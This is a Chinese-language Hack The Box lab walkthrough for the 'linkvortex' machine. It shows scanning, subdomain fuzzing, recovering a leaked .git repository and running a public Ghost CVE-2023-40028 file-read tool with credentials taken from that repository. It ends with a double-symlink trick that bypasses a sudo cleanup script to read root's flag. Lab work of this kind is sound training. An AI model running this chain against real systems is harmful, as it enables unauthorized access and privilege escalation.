[TOC] # Hack the Box - linkvortex **目的:找到目標的 user.txt 跟 root.txt** ==**重要觀念:知道自己有甚麼資源**== :::success *<b><u>資源及可疑線索 & 想法思路</u></b>* :::spoiler 資源及可疑線索: - 目標電腦 IP <hr> 想法: ping 的到目標 IP 那就先試試看哪些 port 都有開,是什麼服務 ::: ## Nmap ``` sudo nmap -sSCV -Pn 10.10.11.47 ```  :::success 資源及可疑線索: \+ 22 port ssh \+ 80 port http (linkvortex.htb) ::: 看到 nmap 出來的結果,在 80 port 上有顯示出一個 domain ,將此 domain 加進 /etc/hosts ``` sudo vim /etc/hosts ``` 將 `10.10.11.47 linkvortex.htb` 加進去 可以試試看能不能成功進入網站  因為修改過 /etc/hosts 重新使用 nmap 再次掃描  看到比較可疑的是 robot.txt 裡面的四條路徑、 ghost 5.58 以及 CPE :::success 資源及可疑線索: \+ robot.txt \+ Ghost 5.58 \+ CPE ::: :::info - **robots.txt**: robots.txt 是一個位於網站根目錄的純文字檔案,用於指示搜尋引擎的爬蟲程式哪些頁面可以抓取及哪些頁面不應該抓取。 - **Ghost 5.58**: Ghost 是一個開源的內容管理系統(CMS),專注於部落格設計,提供簡潔且高效的寫作和發布體驗。5.58 為其版本號。 - **CPE**: 一種標準化方法,用於描述企業計算資產中的應用程式、作業系統和硬體設備。 ::: 試試看那四個路徑,其中一個可以進到一個登入介面,剩下的沒東西 :::success 資源及可疑線索: \+ `linkvortex.htb/ghost` (登入介面) :::  ## ffuf 到這邊線索好像斷了,看一下現在還有什麼可以用 :::success *<b><u>資源及可疑線索 & 想法思路</u></b>* :::spoiler 資源及可疑線索: - 目標電腦 IP - 22 port ssh - 80 port http (linkvortex.htb) - robot.txt - Ghost 5.58 - CPE - linkvortex.htb/ghost (登入介面) <hr> 想法: 關於網站的話還有事情可以做,可以測試看看有沒有其他子域名 (subdomain) 能被看到 ::: :::info **子域名 (subdomain)** 子域名是主域名的延伸,用於在網站中劃分不同的區域或服務。例如, blog.example.com 和 shop.example.com 都是 example.com 的子域名 ::: 到 github 上找 subdomain 的 wordlist ,準備進行 url fuzzing > wordlist 檔案可以到下方連結下載 https://github.com/theMiddleBlue/DNSenum/blob/master/wordlist/subdomains-top1mil-5000.txt 回 terminal 下指令進行 url fuzzing 來找子域名 ``` ffuf -u http://linkvortex.htb/ -w ./subdomains-top1mil-5000.txt -H "Host:FUZZ.linkvortex.htb" -mc 200 ```  找到 `dev.linkvortex.htb` 這個子域名 :::success \+ 子域名: `dev.linkvortex.htb` ::: 將 `dev.linkvortex.htb` 加進 /etc/hosts 那列會變成 `10.10.11.47 linkvortex.htb dev.linkvortex.htb` 接著用 nmap 掃這個子域名 ``` sudo nmap -sSCV -Pn dev.linkvortex.htb ```  發現一個 git repository 有 leak 出來,接著嘗試把它還原 :::success 資源及可疑線索: \+ 一個洩漏的 git repository ::: ## GitHack 使用 GitHack 還原 git repository :::info **GitHack 運作流程** 1. **訪問 .git 目錄,讀取 index 檔案**:獲取專案中所有檔案的名稱及其對應的雜湊值。 2. **根據雜湊值,訪問 .git/objects 目錄**:尋找並下載對應的物件檔案。 3. **解壓縮物件檔案**: 還原出檔案內容。 4. **重建原始碼結構**: 根據解壓縮的檔案,重建專案的目錄結構和原始碼。 ::: > GitHack 工具連結 https://github.com/lijiejie/GitHack > 先把它 clone 到你想要的位置 > ``` > cd <你要的位置> > git clone https://github.com/lijiejie/GitHack.git > ``` cd 到有 `GitHack.py` 的那個目錄 下指令還原 git repository ``` python3 GitHack.py -u "http://dev.linkvortex.htb/.git/" ``` 還原結束後會在目前的目錄產生一個叫 dev.linkvortex.htb 的目錄 用 VSCode 打開查看內容 ``` code dev.linkvortex.htb ``` 主要有兩個檔案 1. **authentication.test.js** 看起來像是網頁的東西 2. **Dockerfile.ghost** 裡面有許多路徑 :::success 資源及可疑線索: \+ authentication.test.js (像網頁) \+ Dockerfile.ghost (有許多路徑) ::: 經過瀏覽,發先 authentication.test.js 這個檔案有出現多次 password 的字眼,用內建的搜尋功能找找看 password ,結合剛剛我們有找到的一個網頁的登入介面 (有網頁又要帳密所以試它) 嘗試登入 (這邊就比較吃經驗,而且還要猜帳號)  > 那由於這邊要經驗來通靈,就直接先給答案 測試出一組帳密能夠成功登入 ``` admin@linkvortex.htb OctopiFociPilfer45 ``` :::success 資源及可疑線索: \+ 一組能在網頁成功登入的帳密 ::: 成功登入  ## Ghost 漏洞 到這裡線索好像又斷了,回來看資源 :::success *<b><u>資源及可疑線索 & 想法思路</u></b>* :::spoiler 資源及可疑線索: - 目標電腦 IP - 22 port ssh - 80 port http (linkvortex.htb) - robot.txt - Ghost 5.58 - CPE - linkvortex.htb/ghost (登入介面) - 子域名: dev.linkvortex.htb - 一個洩漏的 git repository - authentication.test.js (像網頁) - Dockerfile.ghost (有許多路徑) - 一組能在網頁成功登入的帳密 <hr> 想法: 注意到 Ghost 5.58 這個東西,看到版本號這東西,到網路上看看有沒有已知漏洞 ::: 真的找到了一個 Ghost 5.58 的漏洞 https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028 :::info **CVE-2023-40028 懶人包** CVE-2023-40028 是 Ghost CMS 中的一個安全漏洞,允許攻擊者透過上傳包含軟連結(soft link)的 ZIP 檔案,讀取伺服器上的任意檔案。當伺服器解壓縮這些 ZIP 檔案時,軟連結可能指向敏感檔案,導致未經授權的訪問。 **超級懶人包** 你用這個漏洞就可以任意讀檔 ::: 建一個目錄把這個工具 clone 下來 先 cd 進剛剛建的目錄 ``` git clone https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028.git ``` cd 到有 CVE-2023-40028 的那個目錄 執行這個可以任意讀檔的工具 > 這裡會用到剛剛猜到的那組帳密 > 使用方法是 `./cve-2023-40028 -u <username> -p <password> -h <host_url>` ``` ./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb ``` 出現一個可輸入路徑的 shell  到這裡會想到剛剛還原的 git 目錄中有一個 Dockerfile.ghost 檔案裡面有很多路徑,每個都輸入試試看能不能找到可疑的檔案 發現一個可疑的 json 檔  裡面有一個 ``` "auth": { "user": "bob@linkvortex.htb", "pass": "fibber-talented-worth" } ``` 嗯對這個長得像帳密的東西看起來是一組帳密 :::success 資源及可疑線索: \+ 可疑的帳密 ::: 我們來回想一下哪裡可能要用到,先看看現在有的線索 :::success *<b><u>資源及可疑線索 & 想法思路</u></b>* :::spoiler 資源及可疑線索: - 目標電腦 IP - 22 port ssh - 80 port http (linkvortex.htb) - robot.txt - Ghost 5.58 - CPE - linkvortex.htb/ghost (登入介面) - 子域名: dev.linkvortex.htb - 一個洩漏的 git repository - authentication.test.js (像網頁) - Dockerfile.ghost (有許多路徑) - 一組能在網頁成功登入的帳密 - 一組可疑的帳密 <hr> 想法: "22 port ssh" 跟 "linkvortex.htb/ghost (登入介面)" 這兩個地方會用到帳密,分別試試看 ::: ## SSH 嘗試使用 SSH 連線 ``` ssh bob@linkvortex.htb ``` 密碼:fibber-talented-worth 發現可以成功登入 (可以開始到處亂看了)  ### user.txt 再查看當前家目錄內容的時候看到我們第一個目標 user.txt > 如果有其他的檔案先忽略,因為我們免費仔是跟大家一起共用這台機器練習的,因此可能會有其他人東西,先只看 user.txt 即可  把他 cat 出來就可以拿到第一題的 flag > 可以到 Hack The Box 提交 flag ### root.txt 拿到了 user flag 現在要想辦法找到 root.txt 那現在感覺是要想辦法提升權限去找這個檔案 我們先看一下 bob 這個使用者可以用 sudo 做到甚麼事 ``` sudo -l ```  - `env_reset`: 讓 sudo 在執行命令時重置環境變數 - `mail_badpass`: 當使用者輸入錯誤密碼時,使系統管理員收到郵件通知 - `secure_path=...`: 在使用 sudo 執行命令時,系統按照放置的目錄順序找尋可執行的檔案 - `use_pty`: 開一個偽終端 (pseudo terminal) 給 sudo 指令執行 - `env_keep += CHECK_CONTENT`: 在執行命令時保留名為 CHECK_CONTENT 的環境變數 - `(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png`: 表示使用者 bob 可以不用密碼執行 /usr/bin/bash /opt/ghost/clean_symlink.sh 命令,並且該命令的參數為以 .png 結尾的檔案 發現了一個 shell script,把它 cat 出來看看 (為方便講解,我在上面增加了我的註解) ```bash= #!/bin/bash # 定義一個隔離(quarantine)的目錄路徑 QUAR_DIR="/var/quarantined" # 如果環境變數 CHECK_CONTENT 沒有被設定(為空),則預設為 false if [ -z $CHECK_CONTENT ]; then CHECK_CONTENT=false fi # 取得執行腳本時傳入的第一個參數,預期應為一個檔案路徑 LINK=$1 # 檢查傳入的檔案名稱是否以 .png 結尾 # 如果不符合條件,則輸出錯誤訊息並以狀態碼 2 結束腳本 if ! [[ "$LINK" =~ \.png$ ]]; then /usr/bin/echo "! First argument must be a png file !" exit 2 fi # 檢查該檔案是否為一個軟連結(soft link),需要使用 sudo 權限 if /usr/bin/sudo /usr/bin/test -L $LINK; then # 取得連結檔案的檔名(不包含路徑) LINK_NAME=$(/usr/bin/basename $LINK) # 讀取軟連結所指向的目標檔案路徑 LINK_TARGET=$(/usr/bin/readlink $LINK) # 檢查目標路徑中是否包含關鍵字 "etc" 或 "root" # 這通常用來判斷連結是否指向系統中的敏感目錄 if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)'; then # 如果目標路徑涉及關鍵檔案,則警告使用者並刪除此軟連結 /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !" /usr/bin/unlink $LINK else # 如果不是敏感路徑,則輸出訊息並將該連結移動至一開始定義的隔離目錄 /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine" /usr/bin/mv $LINK $QUAR_DIR/ # 如果 CHECK_CONTENT 為 true,則顯示隔離檔案的內容 if $CHECK_CONTENT; then /usr/bin/echo "Content:" # 使用 cat 命令顯示檔案內容,並將錯誤輸出(例如檔案無法讀取)丟到 /dev/null /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null fi fi fi ``` :::info **關於 exit** 常見的退出狀態碼 - 0: 表示成功執行,沒有錯誤。 - 1: 一般性錯誤,表示執行中發生了一般性問題。 - 2: 通常表示命令的使用語法錯誤,例如參數錯誤。 - 126: 命令呼叫成功,但無執行權限。 - 127: 命令未找到。 取得上一個指令的退出狀態碼 ``` echo $? ``` ::: 好我知道這東西很多很雜,你們想看的是這個:) ==**懶人包:**== 簡單來說,你可以先設定環境變數 CHECK_CONTENT=true ,並執行這個腳本,如果參數是軟連結並且是 .png 結尾,且沒有指向敏感目標,就會把檔案內容印出來。 這就像是一個可以任意讀檔的腳本,但前提是你要知道該檔案的位置,才能用軟連結去連,我們現在要找的是 root.txt ,我們可以推測一下他的位置,比對 user.txt ,他是在 user(bob) 這個目錄底下,那 root.txt 有可能會在 root 目錄底下 (即 /root/root.txt),先以這個想法試試看 ==**我們需要做兩次軟連結**== 1. 先讓一個隨便檔案 (不要是 .png 結尾) 連到 /root/root.txt 2. 再讓一個 .png 結尾的檔案去連那個 「隨便檔案」 這樣就可以繞過剛剛那個 script 檢查有沒有碰到敏感檔案的機制 好思路清楚了,開始實作 在喜歡的地方 (我是在家目錄) 建軟連結 ``` ln -s /root/root.txt a.txt ln -s /home/bob/a.txt a.png ``` 執行那個腳本 ``` sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh a.png ```  看到 Content 底下有顯示出 flag ,代表位置推測是正確的 現在可以把這串 flag 提交到 Hack The Box 到這邊已經成功達成這臺靶機的所有通關條件~ 
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up